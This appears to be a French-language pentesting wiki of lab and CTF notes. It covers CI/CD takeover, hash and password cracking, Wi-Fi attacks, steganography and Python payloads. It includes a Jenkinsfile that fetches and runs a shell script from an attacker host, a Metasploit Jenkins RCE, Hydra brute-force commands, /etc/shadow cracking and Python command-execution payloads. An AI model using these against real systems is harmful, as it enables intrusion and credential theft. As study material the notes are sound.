Introduction

Cette page décrit différentes exploitations de vulnérabilités dans le processus CI/CD qui peuvent être exploitées au profit d'un attaquant.

image.png

Techniques

Build Process

Dans le cas où vous auriez accès à un dépôt Git avec un accès à un JenkinsFile, vous pourriez le modifier pour prendre le contrôle de l'agent Jenkins.

Pour cela, vous pouvez créer un fork du projet pour modifier le JenkinsFile de la sorte :

pipeline {
    agent any
    stages {
       stage('build') {
          steps {
              sh '''
                    curl http://<ATTACKER_IP>:8080/shell.sh | sh
                '''                 
              }             
          }
       }       
    }

Vous devez au préalable créer votre payload et l'héberger sur votre serveur web.

Vous pouvez ensuite faire un Merge Request pour lancer la pipeline et exécuter le payload.

Build server

Si vous possédez les identifiants du serveur web Jenkins, vous pouvez utiliser Metasploit pour lancer une RCE :

msfconsole
use exploit/multi/http/jenkins_script_console
set target 1
set payload linux/x64/meterpreter/bind_tcp
set password jenkins
set username jenkins
set RHOST jenkins.tryhackme.loc
set targeturi /
set rport 8080
run

Web

[Exploitation/Web] Encodage

Introduction

Lors de vos attaques web vous aurez besoin d'encoder vos payloads sous divers formats. Cette page liste des outils qui vous permettront de le faire.

Manuel

Urlencode

Cet outil peut être installé sur les distributions Debian de cette façon :

apt install gridsite-clients

Il permet d'encoder au format URL vos payloads directement depuis le shell :

urlencode <STRING>

Cyberchef

Encodage Unicode

Cette technique permet de contourner certaines solutions de sécurité :

image.png

Web

[Exploitation/Web] JWT

Introduction

Les JWT pour JSON web tokens sont des jetons utilisés un peu de la même manière que les cookies qui permettent de gérer l'authentification à une page. Ils sont segmentés en 3 parties séparées par des points :

image.png

Exploitation

Basique

Une fois connecté avec un utilisateur vous devriez avoir un jeton JWT. Pour l'obtenir, vous pouvez l'intercepter avec Burp.

Ensuite, vous pouvez le modifier grâce au site suivant :

Web

[Web] SSRF

Introduction

Le SSRF pour Server-Side Request Forgery est une vulnérabilité où un attaquant exploite une fonctionnalité d’un serveur pour envoyer des requêtes illégitimes. Contrairement aux attaques traditionnelles, le SSRF tire parti de la capacité du serveur à faire des requêtes en son nom, permettant ainsi à l'attaquant de contourner les restrictions de sécurité. Cela peut conduire à l'accès non autorisé à des systèmes internes, à l'exfiltration de données, ou même à l'exécution de commandes sur le serveur ciblé.

Fiche explicative

1724328202701.gif

Cracking

Cracking

[Exploitation/Cracking] Mots de passe

Introduction

Cette page est dédiée au crackage de mots de passe avec des outils et des procédures.

image.png

Psudohash

Cet outil permet de générer des mutations d'un mot de passe.

image.png

Cupp

Permet de générer des mots de passes pour cibler une personne ou une entité en établissant le profil de ce dernier.

cupp-example.gif

Crunch

Permet de générer des mots de passe selon un patern et des propriétés comme une longueur spécifique ou l'utilisation de caractères spéciaux.

Hydra

image.png

Certainement le plus grand outil de brute force, il permet d'attaquer divers services et des pages de login web.

HTTP Get

hydra -l $USER -P <WORDLIST> -f <TARGET> http-get-form "<LOGIN_URL>:<PARAMETER>=<VALUE>:S=<SUCCESS_CONDITION>" -f

Exemple :

hydra -l admin -P /resources/rockyou.txt -f cozyhosting.htb http-get-form "/login:username=^USER^&password=^PASS^:S=logout.php" -f

HTTP Post

hydra -l $USER -P <WORDLIST> -f <TARGET> http-post-form <LOGIN_URL>:<PARAMETER>=<VALUE>

Exemple :

hydra -l admin -P /resources/rockyou.txt -f cozyhosting.htb http-post-form "/login:username=admin&password=^PASS^:Invalid username or password"

SSH

hydra -l <USER> -P <WORDLIST> -s 22 <IP> ssh

Exemple :

hydra -l michael -P /resources/rockyou.txt -s 22 10.10.243.36 ssh

WFuzz

image.png

Outil de fuzzing de sous domaines mais ausside brute force de formulaires sur des pages web.

Exemple d'utilisation pour brute force un login sur une page web :

wfuzz -c -z file,<WORDLIST> --hs  <MOT_ECHEC_PASS_PAGE> -d "<login>=<LOGIN>&<password>=FUZZ" <URL>

Fusionner des wordlists

Cela peut être utile lorsque vous avez générer des wordlists avec différents outils avec différents critères.

Plusieurs techniques sont possibles mais certaines sont plus optimisées.

Par ailleurs, il faut supprimer les doublons pour encore optimiser et réduire la taille de la wordlist de le temps de cracking.

Cat

L'outil cat permet de fusionner de manière basique deux fichiers textes :

cat file1.txt file2.txt file3.txt > combined_list.txt

On peut ensuite supprimer les doublons avec la commande suivante :

sort combined_list.txt | uniq -u > cleaned_combined_list.txt

Duplicut

Cet outil permet de fusionner vos wordlist de manière optimisée :

Username generator

Parfois, vous n'avez pas en votre possession le nom d'utilisateur de votre cible.

Cependant, avec son nom et son prénom vous pouvez créer une wordlist grâce à Username-Anarchy :

CeWL

Cet outil permet de générer une wordlist à partir d'un site web :

Bash

Avec du scripting bash vous pouvez générer des wordlists.

Voici un exemple de script :

#!/bin/bash
for year in {2020..2021};
do
	for char in '!' '@' '#' '$' '%' '^' '&' '*' '('')';
	do
		echo "Fall${year}${char}";
	done;
done > psw.lst

Cette technique fonctionne bien lorsque vous avez une idée précise du pattern que doit avoir le mot de passe cible. 

Cracking

[Exploitation/Cracking] Hash

Introduction

Cette page présente plusieurs outils et méthodologies pour casser des hashs.

Crackstation

C'est le site web de référence pour cracker vos hashs en tout genre.

https://crackstation.net/

image.png

Hashes.com

Cet outil en ligne est un peu similaire à crackstation mais plus performant.

S'il n'arrive pas à cracker le hash, il vous donnera au moins le type de hash (ce qui est pratique pour pouvoir lancer une attaque avec hashcat ou john par la suite).

https://hashes.com/en/tools/hash_identifier

image.png

Name That Hash

Ce site permet d'identifier le type de hash :

NTLM.pw

Ce site permet de casser vos hashs NTLM presque instantannément. Il est composé d'une base de donnée de 8,7 milliards de hashs donc vous devriez réussir à casser vos hashs tranquillement.

image.png

JohnTheRipper

C'est un incontournable pour les attaques brute force à partir de wordlist.

Il supporte plusieurs formats comme des archives zip ou rar et même des mots de passes systèmes Windows ou Linux. 

image.pngPassword Unix

Saisir la ligne de l'utilisateur concerné du fichier /etc/passwd dans le fichier passwd.txt :

root:x:0:0:root:/root:/bin/bash

Saisir la ligne de l'utilisateur concerné du fichier /etc/shadow dans le fichier shadow.txt :

root:$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:18226:0:99999:7:::

Obtenir le fichier unshadowed.txt qui sera approprié pour casser le hash avec john :

unshadow passwd.txt shadow.txt > unshadowed.txt

Puis lancer l'attaque avec john :

john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

Mot de passe archive ZIP

Obtenir le hash du mot de passe de l'archive grâce à zip2john :

zip2john archive.zip > hash.txt

Lancer l'attaque :

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Mot de passe archive RAR

Obtenir le hash du mot de passe de l'archive grâce à zip2john :

zip2john archive.zip > hash.txt

Lancer l'attaque :

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Phrase de passe SSH

Obtenir le hash du mot de passe de l'archive grâce à zip2john :

ssh2john archive.zip > hash.txt

Lancer l'attaque :

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Mot de passe mySQL

Si vous parvenez à extraire des mots de passe d'utilisateurs dans une table de base de donnée mySQL, vous pouvez l'attaquer avec john :

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Génération de wordlist

John permet la génération d'une wordlist mutée (des mutations vont être générées selon des règles) :

john --wordlist=<LIST> --rules=<RULE> --stdout > <OUTPUT>

Par exemple :

john --wordlist=clinic.lst --rules=Single-Extra --stdout > custom-02.lst

Vous pouvez lister les règles disponibles avec la commande suivante :

cat /etc/john/john.conf|grep "List.Rules:" | cut -d"." -f3 | cut -d":" -f2 | cut -d"]" -f1 | awk NF

L'emplacement du fichier de configuration de john peut varier selon votre système.

Sur Exegol, il est situé dans  /opt/tools/john/run/

Vous pouvez créer vos propres règles en ajoutant ce type de configuration dans le fichier :

[List.Rules:Example-01] 
Az"[0-9]" ^[!@#$]

HashID

Cet outil en ligne de commande permet d'identifier le type de hash auquel vous faites face.

Pour l'installer sur les distributions basées sur Debian :

sudo apt install -y hashid

Et voici la syntaxe :

hashid -m <HASH>

Hashcat

Il s'agit d'un outil similaire à John mais ayant une option permettant d'utiliser la puissance GPU pour décupler les performances et essayer un nombre bien plus grand de combinaisons par seconde.

Il est vivement conseillé de l'utiliser sur Windows avec les cartes graphiques Nvidia puisque les pilotes ne sont pas pleinement supportés sous Linux et réduisent donc la puissance de calcul utilisable.

image.png

Syntaxe globale

hashcat --hash-type <NUMBER> --attack-mode 0 <HASH_FILE> <PASSWORD_LIST>

Le type de hash varie selon le type de mot de passe que vous essayez de casser.

Vous pouvez retrouver la liste ici :

https://hashcat.net/wiki/doku.php?id=example_hashes

OPHcrack

image.png

Cet outil disponible sur Windows et Linux permet de lancer des attaques Rainbow tables sur les hashs.

Ce type d'attaque consiste à prendre des listes de mots de passe avec leur hash associé (appelées rainbow tables), et de comparer ce hash avec celui à cracker. Si le hash correspond, cela veut dire que l'on a trouvé le mot de passe.

Cependant, ce type d'attaque ne marche que sur certains algorithmes de hashages faibles tel que LM, NTML ou MD5 car ils n'utilisent pas de salage.

Voici le site officiel du projet où vous pourrez télécharger le logiciel ainsi que des rainbow tables :

https://ophcrack.sourceforge.io/

Si vous souhaitez télécharger d'autres rainbow tables, vous pouvez vous rendre sur le site suivant :

http://project-rainbowcrack.com/

Cracking

[Cracking] Wordlists

Introduction

Quelques wordlists très pratiques pour faire de l'énumération de site web ou du cracking de mots de passe.

image.png

Wordlists

RockYou

Stun

Fuzzing Dirbuster

SecLists

Plusieurs listes intéressantes d'utilisateurs, mots de passe, sous-répertoire web etc :

Richelieu (french wordlist)

Kaonashi

PacketStormSecurity (wordlist par pays)

Awesome wordlists

Cracking

[Exploitation/Cracking] Rainbow Tables

Introduction

Les rainbow tables sont des bases de données pré-calculés de hash qui permettent de gagner un temps colossal lors des attaques par force brute.

Il s'agit en outre d'une table associant un mot de passe avec son hash ce qui évite de devoir recalculé le hash lors de l'attaque brute force.

Cependant, ce type d'attaque ne fonctionne plus lorsqu'un algorithme utilisant le salage est utilisé car pour un même mot de passe, plusieurs hashs seront valides (en fonction du salage bien sûr).  

image.pngAlgorithme vulnérables

Voici la liste des algorithmes de hashage vulnérables :

Télécharger des rainbow tables

Cracking

[Exploitation/Cracking] Wifi

Introduction

Cette page décrit des méthodologies et des outils pour compromettre des réseaux utilisant le protocole Wifi.

Aircrack-ng

Certainement l'outil le plus célèbre pour pirater des réseaux wifi, il est aussi celui demandant le plus de ressources.

Il requiert une carte wifi supportant l'injection de paquet et le mode moniteur et une puissance de calcul suffisante pour casser le mot de passe par la suite.

En effet, l'objectif va être d'envoyer un paquet de désauthentification pour récupérer un handshake contenant le hash du mot de passe du wifi qu'on appelle psk.

Une fois le hash capturé, il ne reste plus qu'à lancer une attaque hors-ligne sur celui-ci pour obtenir le mot de passe en clair.

Le temps de cracking peut être plus ou moins long selon la puissance de calcul disponible et la complexité du mot de passe.

image.png

Fern

image.png

WiFiPumpkin3

Anciennement nommé EvilGinx, cet outil est en mesure de créer des faux points d'accès wifi permettant de piéger des utilisateurs du réseau wifi cible en espérant récupérer le mot de passe du réseau wifi par des attaques phishing exécutées en local.

image.png

Steganographie

Steganographie

[Exploitation/Stegano] StegHide

Introduction

L'outil steghide permet de cacher des fichiers dans d'autres fichiers (généralement des images) en définissant un mot de passe pour accéder à ce fichier caché.

Une fois le fichier B caché dans le fichier A, si quelqu'un parvient à récupérer le fichier A et la passphrase il pourra récupérer le fichier B en utilisant steghide.

image.png

Installation

sudo apt install steghide

Manuel

Syntaxe générale

steghide [embed|extract|info] [OPTIONS]

Cacher un fichier B dans un fichier A

steghide embed -cf <FILE_A> -ef <FILE_B>

Une passphrase vous sera demandée !

Extraire un fichier B du fichier A

steghide extract -sf <FILE_A>

La passphrase vous sera demandée !

Steganographie

[Exploitation/Stegano] Stegseek

Introduction

L'outil stegseek permet de lancer des attaque bruteforce sur les passphrases des fichiers cachés par steghide dans d'autres fichiers.

Steghide permet par défaut de le faire mais la tâche est complexe est lente.

image.png

Source

Installation

wget https://github.com/RickdeJager/stegseek/releases/download/v0.6/stegseek_0.6-1.deb && sudo apt install -y ./stegseek_0.6-1.deb && rm -f stegseek_0.6-1.deb

Manuel

Attaque brute force

stegseek <STEGANO_FILE> <WORDLIST>

Récupération de meta-donnée non chiffrée

Les meta-données non-chiffrées de steghide sont protégées par une seed codée d'une longueur de 2^32 (cassable en quelques minutes maxium).

L'outil va donc récupérer les méta-données pour essayer de récupérer :

Voici la commande à effectuer pour lancer la récupération d'informations :

stegseek --seed [STEGANO_FILE]

Steganographie

[Exploitation/Stegano] Strings

Introduction

Bien que la commande strings sur Linux ne servent pas qu'à la stéganographie, elle est très pratique dans ce cas d'usage pour extraire toutes les chaînes de caractères contenues dans un fichier et ainsi, récupérer de la donnée cachée.

Manuel

strings <FILE>

Steganographie

[Exploitation/Stegano] Exiftool

Introduction

En stéganographie et en énumération, il peut être intéressant d'obtenir les méta-données contenues dans un fichier puisqu'elles peuvent regorger d'informations utiles.

C'est là qu'entre en jeu l'outil exiftool qui permet d'afficher ces méta-données. 

image.png

Manuel

Affichage des méta-données

exiftool <FILE>

Affichage de toutes les informations disponibles

exiftool -a -u <FILE>
Steganographie

[Exploitation/Stegano] Aperi'Solve

Introduction

Ce site web regroupe tout un tas de test pour la stéganographie.

Site

https://www.aperisolve.com/

Steganographie

[Exploitation/Stegano] PixRecovery & GHex

Introduction

Ces outils permettent de réparer des images corrompus.

PixRecovery

https://online.officerecovery.com/fr/pixrecovery/

GHex

Cet outil graphique est une alternative à l'outil en ligne de commande hexedit.

Il permet d'éditer l'héxadécimal d'un fichier ce qui peut servir pour changer le magic byte d'un fichier corrompu et le rendre fonctionnel dans certains cas.

Voici la page wikipédia qui répertorie les magic bytes de diférents types de fichiers :

https://en.wikipedia.org/wiki/List_of_file_signatures

Python

Python

[Exploitation/Python] Payloads

Introduction

Cette page référence quelques payloads à essayer pour une exploitation de code Python dans des environnements divers.

image.png

Source

Payloads

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls") 
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')